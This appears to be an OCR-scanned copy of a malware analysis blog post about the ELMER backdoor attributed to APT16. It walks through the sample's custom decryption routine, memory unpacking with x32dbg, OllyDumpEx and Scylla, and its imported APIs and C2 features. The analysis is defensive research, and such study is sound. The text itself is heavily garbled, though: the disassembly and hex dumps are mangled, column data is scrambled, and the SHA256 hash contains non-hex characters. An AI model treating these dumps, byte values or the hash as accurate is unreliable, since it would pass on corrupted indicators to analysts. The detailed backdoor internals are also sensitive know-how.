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Summary

In this blog post, we’re presenting a detailed analysis of a backdoor known as ELMER that was
used by the Chinese actor identified as APT16. This group targeted Japanese and Taiwanese
organizations in industries such as high-tech, government services, media and financial services.

The malware is encrypted with a custom algorithm and it’s written in Delphi. This sample is
capable of detecting proxy settings on the local machine and exfiltrating information such as the
hostname and IP address of the machine to the Command and Control server. The process uses a
custom decryption algorithm that consists of AND, XOR, and ADD operations in order to decrypt
relevant strings during runtime. It implements 8 different commands depending on the response
from the C2 server, including: file uploads and downloads, process execution, exfiltration of file
names/sizes and directory names, exfiltration of processes/process IDs. Data exfiltration is
performed using an HTML document that contains the information encoded using the NOT
operator.

This sample is using a custom encryption algorithm, that we will describe below. For this analysis,
we have also created a python script that can be used to facilitate the decryption process, which
can be found at https://github.com/Rackedydig/string_decode_algorithm_apt16.

Technical analysis

SHA256:
BEDOOA7BS9EF2BD703098DA6D523A498C8FDAOSDCE931F028E8F16FF434DC89E

It’s important to mention that a part of the malicious code is encrypted, and we’ll explain using a
step-by-step approach how to decrypt it. The process is scanning the memory in order to find the
magic number “MZ” which corresponds to EXEs (DLLs), and then it’s extracting the first word of
the PE header and compares it with “PE” as follows:
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.hello:6719138A arg_@= dword ptr &8
.hello:67191328A arg 4= dword ptr @Ch
.hello:s71912BA
.hello:6719138A push ebp
+hello:67191388 mov ebp, esp
+hello:67191380 push ebx
.hello:6719128E push esi
.hello:8719138F push edi
+hello:67191396 mov eax, [ebptarg @]
L hello:e7191393 and eax, BFFFFF@eéh
£ -
Lol s =
.hello:67191298
.hello:67191398 loc_67191398:
.hello:67191398 cmp word ptr [eax], "ZM'
+hello:e7191330 jz short loc_B71913A6
1
Y - Y

Lol e =

M=

.hello:6719139F sub
.hello:671913A4 jmp

eax, 1686h

short loc_67191338

.hello
.hello
.hello
.hello
.hello

1B671913A6
:671913A6 loc_671913A6:
1671913A6 mov
16719139 cmp
:671913AF jz

esi, [eax+3Ch]
word ptr [esit+eax],
short loc_671913B8

"ep’

J

The following picture contains a part of the bytes that will be transformed as we’ll see in the next

paragraphs:

83 C1
14

o4
30

83 F8

04

I
TWw@mink O

=

=

Figure 1

3 00

xor
lea
mow
add
mow
inc
cmp

=

eax,eax

ecx,4

sax
eax, 4

C g e . e =

~ =

ecx,dword ptr ss:[ebp+edi]
dl,byte ptr ds:[ecx]

byte ptr ds:[eaxt+esi],dl

ecx=<apt.EntryPoint> (671912F0)
dword ptr [ebp+edi*l]=[apt.67181000]=148633DB

.hello: 6719156C apt.exe: $1156C #ATFEC

48 Dump 1

244 Dump 2

B4 Dump 3

B4 Dump 4

B4y Dump 5

[x=] Locals

P s

Address

Hex

67181000
67 151010
67181020
67181030
67181040
67181050
67 1581060
67181070
&7 181080
67181090
67181040
67 1510B0
67 1810C0O
67181000
67 1810ED
67 1810F0D
67151100
67181110
67181120

DB
37
9F
CE
o4
86
el
BE
co
CC
Al
AD
44
35
AZ
D7
2
Bl
55

33
BC
87
&0
CF
84
9E
97
55
AE
BED
FO
&F
29
BS
C4
ES
IF
CF

86
0B
1A
33
=1
D2
19
34
12
AD
o6
oA
N
9F
36
C4
D7
D2
EB

14
31
L8
5B
5B
37
D5
BC
FB
BF
91
74
74
CC
7C
B4
33
1A
oC

57 82 61
OF 4B 3A
F5 21 36
9B A6 35
2C 99 FE
F3 46 AD
F1 61 F1
E& D1 BF
92 92 DO
ED BF 40
88 B9
2D 2B
63 01
BE 71
89 C7
17 FA
BC 77
B9 Cé6
BA BC

32 |C3
DcC|23 €9
CF|7C B8
E&|52 54
73 |4F 0D
BE |35 4F
30|EQ 3C
EC|BF BC
CO|6E 05
78|07 Al
DE|CE 51
61|38 CF
DO|FF A3
C3|E& CO
1B|02 1C
FE|11 4E
9F |03 BA
EE|EZ AB
50|95 E2

D&

11

99
7E
96
fC
F3
3C
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4E
&F
EE
D3
45
Bl
5C
5D
21
BED
81
92
BE
&E
05
CE8
2F
13
DC

EB
34
20
55

AD
AE
BS
72
39
F9
FB
36
45
88
57
LA
35

LD
c9

AL
F3
E6
D
43
BE
0C
EC
45
37
3E
19
E7
0B
C5
64
27
72

7C

Figure 2

CF
BE
ED
EF
EF
oD
13
=E]
F2
E3
258
DE
52
22
9F
5F
F3
f=1n]
10

c7
co
94
3A
EE
C4
41
30
FL
FF
98
&5
AF
3E
BE
EE:
49
Al
14

72
z5
ca
40
5A
co
24
50
e
ZD
ED
F7
F4
ca
34
F3
BD
DS
c7

& watch 1
ASCII
U=..w. a3A0N=¥ICr
7. 1. KD U2Eoa0mMA%
...XO!BI| 1.8%.E
E =[. | 5ERTOUFI:M
JI.[,.~sD.EBCTiZ
. .O7oF. %502, VAT
. .0nanoa<. _..A%
%. 4. @M. %]F1"0P
Au. 0. .BAK. ' 9EDR=
Is sijeEx. i%uray-

.. W.BEQ.O=(. 8
.0.T.-+a8I.6. pes
Jo.t-C.BYE.HC. O
59. 1. »qA=hn. . ">E
UG |~.C. ... WA. %4
®AAJ. . U~.NEZd_B0
. EX3 [ Mw. . °/5"0T%
+70. 0" £X3e. Jr. i0
Uie.<®.].a0E|..C

2/38



6/2/22,5:26 PM

The first 16 bytes are reordered as follows: [bytel, byte5, byte9, byte13], [byte2, byte6, byte10,

A detailed analysis of ELMER Backdoor used by APT16 — CYBER GEEKS

bytel4], [byte3, byte7, bytell, bytel5], [byte4, byte8, bytel2, byte16]:

| Address | Hex

D019FEE4
0O019FEF4
0019FFO4
D019FF14
D019FF24
D019FF34
O019FF44

o0
oo
00
oo
00
o0
DB

00
00
00
00
00
00
57

00
oo
00
oo
00
00
c3

00
00
00

00
0o
00

o0
o0
00
00|00 00 00 00
00|00 00 00 00
o000 10 18 67
33 82 D6 CF

0o
00
00

00
00
00

00
oo
00
oo
00
00
86

0o
oo
00
0o
00
00
61

00
00
00
00
00
00
4E

Figure 3

o0
oo
00
oo
o0
00

00
00
00
00
00

00
00
00
0o
00

o0
oo
o0
oo
00

24 FE 10 00
14 33 BB 72

..... i
DHA¥3.5%.ENQ.33

Now there is a buffer of 16 bytes, which represents a “key” in the upcoming operations:

Address

Hex

ASCII

671911AC
671911BC
671911CC
671911DC

An XOR operation is performed between the corresponding positions of the 2 buffers mentioned

above:

Do C9
o0 00
o0 00
oo 00

E1
00
oo
oo

B&
00
0o
00

14
00
00
00

EE
00
o0
oo

3F
00
0o
0o

63
00
00
00

F9
00
oo
oo

25
00
0o
0o

0

00 00| 00
00 00|00
00 00|00

Figure 4

oc

AB B9 C8B A6
00 00 00
00 00 00

00 00 00

BEaY.17cu¥%.. .E!

Address

Hex

0O019FEE4
O019FEF4
00O19FFO4
DO19FF14
DO19FFZ24
O019FF34
O019FF44

o0 00
o0 00
00 00
o0 00

Q0 10 18 &7
AC 11 13 &7
OB SE 22 13

00
oo
0o
oo

00
o0
00
00

00
00
00
0o
D4

0o
oo
o0
oo
51

00
o0
00
00
00

00
o0
00
oo
00

D0 10 18 67
27 BC E9 AC

00
oo
00
04

7F

00
00
00
00

00
o0
o0
o0

o0
oo
00
o0

26 15 13 &7
00 00 00 00

44 42 CB

Figure 5

00 00 00 00
00 00 00 00
00 00 00 00
=i FE 12 00
22 FE 12 00

24 FE 12 00
BC BA T3 D4

R TR R .

v n ] 5
... "18..DBEK®S

The first 4 bytes of the buffer remain in their current positions, however, the last 12 bytes are

reordered, as shown in figure 6:

address | Hex

OD019FEE4
O019FEF4
0019FFO4
D019FF14
DO19FF24
D019FF34
O019FF44

Each byte is replaced by a byte that can be found at the position 0x671911EC+current_byte, as

o0 00
oo 00
o0 00
o0 00

BA 73

OB 9E 22 13

00
oo
00
oo

D4

explained in the next figure:
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00
00
00
00

00
o0
00
00
04

0o
oo
00
oo
00

00
00
00
0o
00

00
00
00
00
00
BC D0 10 1B &7
AC 27 6C E9

00
oo
00
o4

2 11 12 67
00 00 00 00
7F 44

4z

0o
0o
00
0o

CB

00
00
00
00

Figure 6

o0
o0
00
oo

00 00 00 00
00 00 00 00
o0 00 00 00

BA 73 D4 BC

wnnil
1T PP
.".a"1eBE.Desh%
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671916AD
671916A4

A detailed analysis of ELMER Backdoor used by APT16 — CYBER GEEKS

BB
7C

54 08 FF
EB

92 EC 11

19 &7

mov dl,byte ptr ds: [edx+671911EC]
mov byte ptr ds:[eax+ecx-1],dl1
j1 apt.&7191691

g

di=z2z '\"°'

byte ptr [edx+671911EC]=[apt.&719120E]=94

.hello: 6719169A apt.exe:

$11694 #A894

E4% Dump 1 Poump2 @WDump3 @ Dump4 B Dump 5 @ watch 1 =l Locals & Struct
Address | Hex ASCII
671911EC |[E2] 09 &A D5 |30 36 AS 35|BF 40 A3 9E|81 F3 D7 FB|R.jOOG¥BE£.,0xU
67F1l911FC|7C E3 39 B2|9B 2F FF 87|34 BE 43 44|C4 DE E9 CB| |a9..,/v¥.4.CDApP&E
6719120C (54 7B 94 32 |A6 C2 23 3D|EE 4C 95 0OB|42 FA C3 4E|T{.Z2'A2=iL..BUAN
6719121C |08 ZE Al 66|28 D9 24 B2|76 5B AZ 49|60 8B D1 25|.. if(Uf=v[<¢Im. R
6719122C |72 F8 F6 64|86 68 98 16|D4 A4 5C CC|5D 65 B6 92| redd.h..0m I]ev.
6719123C |(6C 70 48 S0O|(FD ED B9 DA|SE 15 46 57 |A7 8D 9D 84| 1pHPyi'UA.FWE. ..
6719124C (90 D8 AB 00|8C BC D3 0OA|F7 E4 58 05 |B8 B3 45 06| .0«..%D.-8X. "E.
6719125C |DO 2C 1E 8F|CA 3F OF 02|C1 AF BD 02|01 12 8A GEB|D,..E7..A %....k
6719126C (3A 91 11 41(4F &7 DC EA|97 F2 CF CE|FO B4 E6 73|:..ADgUé.oIld ==
6719127C |96 AC 74 22|E7 AD 35 85 |E2 F9 37 E8|1C 75 DF GE|.-t"C.5.dure.uln
6719128C |47 F1 1A 71|1D 29 C5 89|6F BF 62 OE|AA 18 BE 1B|Gh.q.)A.o-b.2.%.
6719129C ([FC 56 3E 4B|C6& D2 79 20|9A DB CO FE|78 CD 5A F4|iv>kKghy .DApxizd
671912AC |1F DD AB 33|88 07 C7 31|B1 12 10 59|27 80 EC S5F|.¥ 3..Cl+..¥".7_
671912BC |60 51 7F A9(19 BS 4A 0D |2D ES 7A 9F |93 C9 9C EF| 'Q.®.pl.-4z..E.i
671912CC |AD EC 3B 4D|AE 2A F5 BO|CS EB BB 3C (83 53 99 61| aj;Me*d°Eéws<.5.a
671912DC (17 2B 04 FE|BA 77 D6 26|E1 69 14 63|55 21 OC 7D|.+.~*wd&ai.cu!.}
671912EC 7|55 56 53 57|ES BC 00 00|00 8B 1C 24 guUVsSWe. .. ...
671912FC |58 81 E3 0O0|FO FF FF 83|3D EC 12 19|67 00 74 02|X.d.0vy.=1..0.t.
6719130C [EB 69 &8 EC|12 19 &7 53|ES8 71 00 00|00 8D B3 BC|&ihl..g5eq....".
Figure 7
After this transformation, the buffer becomes the following one:

Address | Hex ASCII

Q019FEE4| 00 00 00 00(00 OO0 OO0 00|00 OO0 OO0 OO[00 00 00 OO0 ..veeeeeenennnes

0019FEF4| 00 00 00 0O(00 OO0 OO 00|00 OO0 OO0 Q0|00 OO 00 OO0 v uveeeeeninnenss

0019FF04| 00 00 Q0 00|00 00 OO 00|00 OO0 OO0 00|00 00 00 OO0 v vveeeeeeienenns

0019FF14| 00 00 OO0 00|00 OO0 OO0 00|04 OO0 00 00|54 FF 19 00| . vueereeeunn T ..

D0L9FF24 Flac 11 19 g7|B2 15 19 €7|44 FF 19 00|...Q0...0=..0D¥. .

0019FF34|BA 73 D4 BC 7|00 00 00 00|94 FF 19 00| *s0M...0..... V. .

0019FF44 | 9E DF 94 82 |AA 3D BS EB|F6 59 6B B86|CO 8F 19 78| .R..=2= 8@dvk.A..x

Figure 8

There is a second XOR decryption step, but this time the key is changing:

30 18

®((6719162C 83 CO 04
# | 6719162F 4E

67191630 ~. b Fh&
®| 67191632 45
#( 67191633 83 FD 04
#( 67191636 ~ FC E2
. --

£

byte ptr ds:[eax],bl
edx, 4

esi

apt.&e7191627

inc ebp

cmp ebp,4

j1 apt.6719161A

Xor
add
dec
jre

byte ptr [eax]=[0019FF44]=9E
bl=AC '-"

-hello: 6719162A apt.exe: $1162A #AB2A

Figure 9

Pelumpl Y Dump2 @eDump3 W Dump4 B4 Dump 5 @ watch1  I*=] Locals
Address | Hex ASCIT
6719119%C |AC 19 28 57|77 FA D1 5C|66 DC 2% 0O0|F3 21 41 6E|-. (WwuNsTU).o!AN

After the XOR operation is complete, the current buffer has been changed, as shown below:
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Address | Hex ASCII

0019FEE4|00 00 OO0 OO|00 OO0 OD OO|OD OO OO OO|(O0O OD OO0 OOD| ..o ocieenecncnnnn
O019FEF4 |00 OO0 OO OO |00 OO OO QOO0 OO OO OO(O0 OO OO 00| .. ccvacnanannans
O019FF04 | 00 00 OO OD|00 OD OO OO|(00 OO OO0 OO(00 OO 0D O0| @ v ccvacnanannans
OO19FF14 |04 00 00 OO0 2C 11 19 67 (00 10 18 7|04 81 00 00| ..ueuas g...gﬂ...
Q019FF24 |BD 15 19 &7 (44 FF 19 00(9C 11 19 &7 |44 FFE 19 00|%..aD¥..... aDy. .
O019FF34|BA 73 D4 BC|0Q 10 18 &7 |00 00 00 00|24 FF 19 00| *sf4...g..... V. .
0O019FF44 |32 C6 BC D5 |DD CY¥ 69 B7 |90 85 42 B6|33 AE 58 16 Ziﬁﬁﬁﬂi-..ﬂ.3ﬂx.

Figure 10

A few more operations will be performed, including shl cl, 1 (shift left by 1) and xor cl, 1B (xor
with 0x1B). Let’s take, for example, byte 0x90 from the buffer which is left shifted by 1 (0x20)
and then XORed with Ox1B -> 0x3B. Byte 0x3B is left shifted by 1 and becomes 0x76 (no XOR is
performed) and one more time, 0x76 is left shifted by 1 and becomes OXEC. The confirmation that
all of these operations are accurate:

Address | Hex ASCIT
GO19FEEC | OO OO0 OO OGOD|0O0 OD OO OO|00 OO0 OO OD(00 OO0 OO0 00| @ oo ceenanmanans

D019FEFC |CE 81 00 00|PD_FF 19 00(23 17 19 67|00 00 00 00|%...¥¥..#..0....
0019FFOC ISGRIBNFENECI 0B 00 00 00IDD Al 59 B2l04 00 00 OOl EEERA....V¥iv=....
Figure 11

Now the values from this buffer are XORed together (0x90 XOR 0x76) XOR OxEC and then the
result (Oxa) is XORed with other results from similar operations. After all operations are done, the
buffer will be the following:

Address | Hex ASCIT

0O19FEE4 | 0O OO0 OO0 OO |00 OO 0O OD|DE 81 OO0 OD|(02 OD OO0 C4|.....u.s [ A
OO19FEF4 | 4E 17 19 &F |OE 00 0O OO0|16 2C 58 BO|09 00 OO OO(MN..Q..... P S
0019FF04| 86 17 ZE S5C|(0D 00 00 OO|B7 75 EA CF|OB 00 00 00|...%. ... -uI....
0019FF14|D5 Bl 79 F2 |04 00 00 00|9C 11 19 &7 (00 10 18 &7 |(Oxvd....... g...0
CO19FF24 | D4 81 00 00|48 FF 19 00|00 OO0 00 OO|D2 15 19 &7 ﬂ...H? ...... ﬂ..g
0019FF34 | D5 BY 86 16|00 10 18 &7(00 00 00 00|94 FF 19 00 D e V..
0019FF44 |53 B2 35 65[(C8 90 16 44|69 A5 4E C9|BE AD AZ 1A|S5=5ek..Di¥NE% €.

Figure 12

The sample performs the steps presented above 10 times, and the buffer looks like in the next

figure:

Address | Hex ASCIT

0019FEE4 | OO0 OO0 OO OO|00 OO OO OO(D1 81 OO0 OO(02 00D 0D 15| ...cccu.s e
OO19FEF4 | 4E 17 19 &7 |OE 0O OO OO(8E OF OE 1C|0%9 0O OO OO h..g ...... LR
0019FF0O4 | DO BB &D DA|OD OO OO 00|78 FO FB ED|OB 00 00 OO0|PzmU....X00170....
OO19FF14 |04 00 OO0 OO0 |0C 23 19 &7 (00 J0 18 67|04 81 00 00| ..au..u g...gﬂ...
DD19FF24 | BED 15 19 67|44 FF 19 00|0C 11 19 67|44 FF 19 00|%..00V..... aDy. .
0019FF34 (A2 8B C4 ZE |00 10 18 7|00 OO0 00 00|94 FF 19 OD(£.A....0.4... e
O019FF44 (04 02 &1 00|10 O4 72 00|18 43 01 00|67 68 00 FF|..8...r..C..gh.¥

Figure 13

The buffer is reordered and copied in the location displayed in figure 2, as follows:
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Address

Hex

A detailed analysis of ELMER Backdoor used by APT16 — CYBER GEEKS

ASCII |

67181000
67151010
67181020
67181030
67181040
67181050
67 181060
67181070
67181080
67151090
67181040
67 1510B0
671810C0O
67181000
67 1810ED
&7 1810F0
67181100
67181110
67181120

37
9F
CE
o4
86
D&
BE

CC
Al

44
35
AZ
D7

BEL1
55

BC
87
a0
CF
BA
9E
97

AE
B2
FO
&F
39
BS
c4
ED
3IF
CF

0B

33
=1
D2
139
34

AD
o6
oA

9F
36
C4
D7
D2
EB

31
L8
5B
5B
37
D5

FB
BF
91

74
CC
7C
BA
33

0C

o4
4B
21
AG
99
46
61
o1

BF
88
20
63
EE
59
13

B9

61
z3
7C
52
4F
35
EQ
EF
B
07
CE
38
FF
EG
0z
11
03
ES
95

72
ca
ES
54
oD
4F
3C
BC
05
Al
51
CF
A3
co
ic
4E
BA
AB
E2

o1
6F
EE
Dz
45
Bl
8C
5D
21
BED
81
92
BE
GE
05
CE
2F
13
DC

Figure 14

34
90
55
AD
AE
B&
72
L]
F9
FB
36
48
88
57
LA
35
5D
ca

oo
BE

EF
EF
oD
13
[=E]

E3
25
DE
52
22
9F
5F

/7 F3

80
10

co
294
3A
EE
c4
41
30

FF
98
65
AF
3E
BE
38
49
Al
14

FF
z5
ca
40
5A
o
z4
50

D
EO
F7
F4
c9
34
F3

D5
c7

The algorithm applied for the first 16 bytes is repeated 2078 times. The

version of the first one:

R A B e e ¥
7.1, K: U#E040HAR
.. .XO!BI| 7.8%.E
E'3[. | 5ERTOUFT:M
.I.[,.~s0O.EBCTIZ
. .O7oF. %50+, VAT
. .0nanoa<. _..A%
%.4.@N:1.%]Fr1"0P
Au. . .BAk. ! 9EDR=
I= sigEx, iwUTAy-

..W.BEQ.O=(. 8
.0.T.-+adI.6.pes
Jo.t-C.Byf.HC. O
59, 1. »qAmhn. . ">E
UG |~.C. ... WA. %4
®AAJ. . U~.NEZd_B0O
. €x3 [ Mw. . °/5"0I%
+70. 0" £Xae. Jr. i0
uie.<s.].a0E|..C

new buffer is the decrypted

The malicious process loads multiple DLLs and retrieves the address of export functions using
LoadLibraryA and GetProcAddress APIs:
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Address | Hex ASCII

67181000/ 04 10 18 &7 (02 04 43 68|61 72 01 00|00 OO0 OO FF|...g..Char.....
671l81010|00 00 00 90|FF 25 40 C1|18 &7 8B CO|FF 25 3C C1|....vx@8A.g.Ayx
67181020|18 &7 BB CO|FF 25 38 C1|18 &7 8B CO|FF 25 34 C1|.g.Ayxs8A.g.AykdA
67181030|18 &7 8B CO|FF 25 30 C1|18 &7 BB CO|FF 25 2C C1|.g.Ayx0A.g.Ayk, A
67181040|18 &7 8B CO|(FF 25 28 C1|18 &7 8B CO|FF 25 24 C1|.g.Avx(A.g.AyxsA
67181050(18 &7 8B CO|FF 25 20 C1|18 &7 8B CO|FF 25 1C C1|.g.Av% A.g.Ays. A
67181060|18 67 8B CO|FF 25 18 C1|18 &7 BB CO|FF 25 14 C1|.g.Ay%.A.g.Ay%. A
67181070|18 &7 8B CO|FF 25 10 C1|(18 &7 8B CO|FF 25 4C C1|.g.Ay%.A.g.AysLA
67181080|18 &7 8B CO|FF 25 OC C1|18 &7 BB CO|FF 25 08 C1|.g.Ayx. A g.Ayk. A
67181090|18 &7 8B CO|FF 25 04 C1|18 &7 8B CO|FF 25 00 C1|.g.Ay%.A.g.Ay%. A
67181040(18 &7 8B CO|FF 25 FC CO|18 &7 8B CO|FF 25 F8 CO|.g.AyxlA. g.AvxeA
671B810B0|18 &7 8B CO|FF 25 5C C1|18 &7 BB CO|FF 25 58 C1|.g.Ayx\A. g.Ayiadh
671810C0|18 &7 8B CO|FF 25 54 C1(18 &7 8B CO|FF 25 &8 C1|.g.Ay%TA.g.AyxhA
67181000|18 &7 8B CO|FF 25 &4 C1|18 &7 8B CO|FF 25 F4 CO|.g.AyxdA. g. Ay
671510EC0|18 67 8B CO|FF 25 FO CO|18 67 8B CO|FF 25 EC CO|.g.AyxDA.g.Ay%iA
&71810F0|18 &7 8B CO|(FF 25 E8 CO|18 &7 8B CO|53 83 C4 BC|.g.Ayxah.g.AS. Ak
67181100 |BB OA 00 00|00 54 EB 99|FF FF FF F6|44 24 2C 01| »....Te.yyyiD$,.
67181110|74 05 OF BF [5C 24 30 8B|C3 83 C4 44|58 C3 8B CO|t..-"30.A_AD[A.A
67181120|FF 25 E4 CO[18 &7 8B CO|FF 25 EO CO|18 &7 BB CO|y%aA.g.Ayxah.g.A

Figure 15
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FESEE

AT P e o |
1
1
1
1
1
1
1
1
E
L

_,
1
1
1
1
1
1
1
1
1
1
1
1
1

L

671913EA
671913EF
671913F1
E671913F3
671913F5
671913F8
671913FA
B671913FC
671913FE
67191400
67191402
67191407
67191408
67191404
6719140E
6719140F
67191415
67191417
67191419
67191418
6719141E
67191421
67191423
67191426
67191429
6719142C
6719142F

£
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03
EB
5B
BEL
74
53
74
5B
f=1=1
=1
79
25
50
EB

51
57
EB
585
74
5%
B3

75
f=1=]
53
=k
83
75

-

F3
Fa
Fa
FF
41
3E
29
FF
06
co
08
FF

05
4C

cD
co

06
Ce

D9
45
o
38
45

0z 00 00

00

FF 00 00

03 02

03 00

o4
oo

o8
14
00
o8

add esi,ebx

€all <apt.LoadLibraryas
mov edi,eax

test edi,edi

je apt.&7191436

cmp dword ptr ds:[esi],0
je apt.67191423

mov edi,edi

mov eax,dword ptr ds:[esi]
test eax,eax

jns apt.6719140A

and eax,FFFF

push eax

jmp apt.e&719140F

push ecx

push edi

£dall <apt.GetProcAddress>
test eax,eax

je apt.&7191436

add esi,4
cmp dword ptr ds:[esi],0
jne apt.671913FC

add eax,14
cmp dword ptr ds:[eax],0

jne apt.671913DD

e e e el

lea ecx,dword ptr ds:[ebx+eax+2]

mov dword ptr ds:[esi],eax

mov eax,dword ptr ss:|febp+:j

mov dword ptr ss:|[flebp+8], eax

<apt.GetProcAddresss

.hello: 67191410 apt.exe:$11410 #A610

B4 Dump 1

4y Dump 2

B Dump 3

B4 Dump 4

B4 Dump 5

‘Eﬂﬁmauj11 [x=] Locals

;? Struc

Address

Hex

ASCIT

6718C230
6718CZ240
6718C250
6718C260
6718C270
6718CZ2B0
6718CZ290
6718CZ2AD
67 18C2B0D
6718C2C0
6718CZ2D0O
6718CZED
6718CZ2FOD
67 18C300
6718C310
6718C320
6718C330
6718C340
6718C350

)
44
63
74
45
74
7A
&E
o0
o0
63
]
79
74
o0
72
55
74
74

85
&85
74
69
GE
69
&85
00
00
00
61
63
0
&5
00
G5
61
61
4C

72 BE|[BS
6C 65 (74
69 6F | GE
63 61(6C
74 65 (72
&6F G&E |00
43 FZ (69
00 OD(56
56 69|72
4C 6F (63
6C 41 (6C
6B 43 (6F
65 72|66
72 0000
o0 00|47
61 64(49
64 4C [ 6F
72 74|75
6F 63|61l

eC
65
o0
53
43
oo
74
69
74
61
6
75
&F
00
65
G4
63
70
&L

33 32
43 72
oo 00
65 63
72 69
oo 00
69 63
7z 7
75 61
6C 46
6F 63
6E 74
72 6D
47 65
74 43
oo 00
61 6C
43 &E
65 49

2E B4
69 74
4C &5
74 69
74 69
49 &E
61 6C

4(75 B1

6C 41
72 65
oo 00
oo 00
61 G&E
74 56
75 T2
oo 00
65 00
66 G&F
6E 66

eC
69
61
&F
63
69
53
&C
6
[
00
00
63
85
72
47
00
41
&F

6l
63
76
6E
61
74
65
46
6
oo
oo
00
&5
72
65
&5
o0
o0
41

00
61
G5
00
6C
89
63
72
6F
00
47
51
43
73
BE
74
47
00
00

Figure 16

The list of DLLs to be loaded + the export functions:

kernel32.dll

0o
6C
43
00
53
61
74
G5
63
0o
G5
75
&F
a2
74
£4
[
0o
00

00
53
72
00
=1
6C
69
=1
o0
4Cc
74
65
75
&F
E4
=1z
74
47
00

o0 | Eernel3z2.dll....
65 |[DeleteCriticalse
6%| ction...LeavelCri
00| ticalSection....
62| EnterCriticalsec
6% tion....Initiali
6F |zeCriticalsectio
00| n...VirtualFree.
00| .. virtualAlloc. .
6F|..LocalFree...Lo
4| calalloc....GetT
72| ickCount....Quer
GE | vPerfTormanceCoun
6E | ter...GetVersion
68| ....GetCurrentTh
72| readId....GetThr
53| eadLocale...Gets
65 | tartupInfoA...Ge
00| tLocaleInfoA....

DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection,

VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter,
GetVersion, , GetCurrentThreadld, GetThreadLocale, GetStartupInfoA, GetLocaleInfoA,
GetLastError, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile,
UnhandledExceptionFilter, SetEndOfFile, RtlUnwind, RaiseException, GetStdHandle,
GetFileSize, GetFileType, CreateFileA, CloseHandle, TlsSetValue, TlsGetValue,
GetModuleHandleA, IstrcmpiA, WaitForSingleObject, Sleep, SetFilePointer, ReadFile,

https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/
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GetProcAddress, GetModuleFileNameA, GetFileAttributesA, GetCurrentDirectoryA,
FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, CreateThread,
CreateProcessA

user32.dll
GetKeyboardType, MessageBoxA
advapi32.dll
RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll
SysFreeString, SysReAllocStringlLen
ws2_32.dll

WSAGetLastError, gethostname, gethostbyname, socket, setsockopt, send, recv, inet_ntoa,
inet_addr, htons, connect, closesocket, WSACleanup, WSAStartup

dnsapi.dll
DnsRecordListFree, DnsQuery_A

The process passes the execution flow to the unencrypted code as illustrated in the next figure:

rarwid v e @
~FF E jmp eax

S [l - FFE0 bk

L4

Jump is taken
eax=apt.&71589194

.hello: 67191383 apt.exe:$11383 2ASS3

Woumpi  pumpz @Woump3  @Moumps  @Woumps @ watch1 =l

Address | Hex ASCII

67189194 |55 8B EC 83|C4 FO BS 14|91 18 &7 ES|BO B2 FF FF|U.1.AD,...ge" =yy
671891A4 |33 CO 55 68|C5 91 18 67|64 FF 30 64|89 20 ES8 51| 3AubhA. .gdyod. eq
671891B4|FD FF FF 33(COD 5A 59 59|64 89 10 68(CC 91 18 &7 |vvw3iAZyyd..hi..qg
671891C4|C3 E9 94 9E|FF FF EB FB|ES OF A3 FF|FF 8D 40 00|Ae..yvéee.fyy.2.
67189104 | 00 00 OO0 OO(00 OO OO OO|00 OO OO OD(00 OD OO0 00| ...uveeeennreas
671891E4 (00 00 00 00|00 OO0 OO0 OO|00 OO OO0 OO(0D 00D OO0 00| ..cvveveeennrnns
671891F4 (00 00 OO OO(00 OO0 OO0 OO|0O0 OO0 OO OO(00 OD OO0 OO ...u.ueeennreas
67189204 |00 00 00 00|00 OO OO0 OO|00 OO0 OO OO|(00 0D OO0 OO0 ...u.iveeennrens

Figure 17

In order to also perform static analysis on the binary, we have to dump the memory of this process

using OllyDumpEx plugin of x32dbg debugger:

https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/
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OllyDumpEx v1.62 - apt.exe et
Module
Baze; (® Module | C:\Lsers D ek ophapt exe b
(O Memory  E7180000 (00001000) / Imag / R/ apt / PE
O Address | 67180000 Sals
List Section:  (®) Basze Only () All Memory () Addresz Range  E7180000 - BE130000

Dump Mode: (8 Rebuild () Bina [Raw] () Binary Mirtual)
Image Source: (8 Memory () Disk

Search Format
Search frea: (8 Select () Al Memany [exclude listed module] (@) PE
Search Mode: (@) Strict () Fuzzy [slow) Szclelilinee Y iedeen sl (JELF
Image Optian
Image Baze: Fix Wirtual Offzet Prefer Original Characteristics (Meed Rescan]

Fix Corrupted Image Header Structure
Image Size: [ ] Dizable Relocation

Ertry Point. | 000712F0 et EIP a: OEP []Auta Adjust Image Base Address

[ ] Rebuild Datalirectory [Follow ImageB ase Change)

Section
Select Al Select BazetModule | Select Privatedall | | Select Private/E sec DeSelect Al
Addrezs Sige  Dwner Section  Type Access  Vituwaldffzet  VitualSize  Charactenstics ™
B71871000 00009000 apt CODE  Imag RWE Q00071000 0Ooo0S000 EQO00020
B718A000 00001000 apt DATA  Imag  Rw 0000A000 00007000 Coonoo40
EF18B000 00001000  apt BSS Imag A QO00BO00 Q0007000 Coon0aoo
EF18C000 00001000 apt Jidata Imag AW Q000CO00 00007000 Coonoo4o
7180000 00001000 apt Mz Imag AW Q000D0o00 00007000 Coon0ooo
EF18E000 00001000 apt Idata Imag AW QO00EDOO 00007000 D 0000040
BF18FO00 00001000 apt Teloc Imag AW Q000FOO0  0o007000 Doodoo4a
T L ) = e e saasac S

PE3Z #86 EXE lnaded, Basedddress=67130000, Relocation

Figure 18

The problem is that the IAT (Import address table) hasn’t been populated as expected and contains
only 2 functions that were also present in the original binary:

= ) 104 Wew-d e Vw1 L) Struches i Enums =l Ity a & Experts

Figure 19

We have to use another plugin of x32dbg called Scylla. This plugin is used to find the IAT entries
in the process memory, and then it can fix our dropped binary:

https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/ 9/38
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B o608 -

File Imports Trace Misc Help

Attach to an active process
5436 - apt.exe - C:\Users M\ Deskiop\apt. exe “ | | PidkDLL

Imports

kernel32.dll (31) FThunk: 0000COCS
user32.dil (Z) FThunk: 0000C 1438
advapi32.dll (3) FThunk: 0000C 154
oleaut32.dll (Z) FThunk: 0000C 164
kernel32.dll () FThunk: 0000C 170
advapi32.dll (3) FThunk: 0000C 154
kernel32.dll (20) FThunk: 0000C194
ws2_32.dll {(14) FThunk: 0000C 1E8
